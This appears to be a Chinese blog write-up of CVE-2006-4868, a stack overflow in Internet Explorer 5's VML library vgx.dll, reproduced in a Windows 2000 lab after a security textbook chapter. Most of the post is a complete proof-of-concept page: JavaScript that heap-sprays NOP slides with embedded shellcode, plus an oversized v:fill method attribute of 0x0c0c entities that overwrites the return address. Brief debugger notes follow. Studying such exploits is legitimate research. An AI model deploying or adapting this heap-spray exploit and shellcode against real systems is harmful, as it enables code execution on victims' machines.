zoukankan      html  css  js  c++  java
  • CVE-2006-4868分析

    ----------本文思路完全来自《0day安全:软件漏洞分析技术》第二十七章----------

    实验环境
    操作系统:Windows 2000 sp4
    实验机器:VMware 15.5
    IE 版本:5.00.3700.1000
    vgx.dll版本:5.0.3014.1003

    引起漏洞的函数为_IE5_SHADETYPE_TEXT::Text(unisigned short const*,int),在ida里查看

    我没能下到vgx.dll的符号,所以根据书上的地址找的。。。

    POC

    <html xmlns:v="urn:schemas-microsoft-com:vml">
    <head>
    <title>failwest</title>
    <style>
    <!--v:* { behavior: url(#default#VML); }-->
    </style>
    </head>
    <script language="javascript">
    var shellcode="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6577u7473u6668u6961u8b6cu53c4u5050uff53ufc57uff53uf857";
    var nop="u9090u9090";
    while (nop.length<= 0x100000/2)
    {
        nop+=nop;
    }
    
    nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
    var slide = new Array();
    for (var i=0; i<200; i++)
    {
        slide[i] = nop + shellcode;
    }
    
    </script>
    <body>
    <v:rect style="444pt;height:444pt" fillcolor="black">
    <v:fill method="&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;&#x0c0c;"/>
    </v:rect>
    </body>
    </html>

    使用ollydbg调试,发现在此处栈被覆盖了

    进去看看

    此处没有对数据长度进行判断,此时栈如下

    返回地址明显被覆盖了,函数结束后跳到了0x0c0c0c0c

    shellcode被执行了

  • 相关阅读:
    S3C44b0x通用延时函数,延时time个100us函数理解
    LeetCode-058-最后一个单词的长度
    LeetCode-053-最大子序和
    LeetCode-035-搜索插入位置
    LeetCode-027-移除元素
    LeetCode-026-删除有序数组中的重复项
    LeetCode-025-K 个一组翻转链表
    LeetCode-024-两两交换链表中的节点
    LeetCode-023-合并K个升序链表
    LeetCode-021-合并两个有序链表
  • 原文地址:https://www.cnblogs.com/harmonica11/p/14221057.html
Copyright © 2011-2022 走看看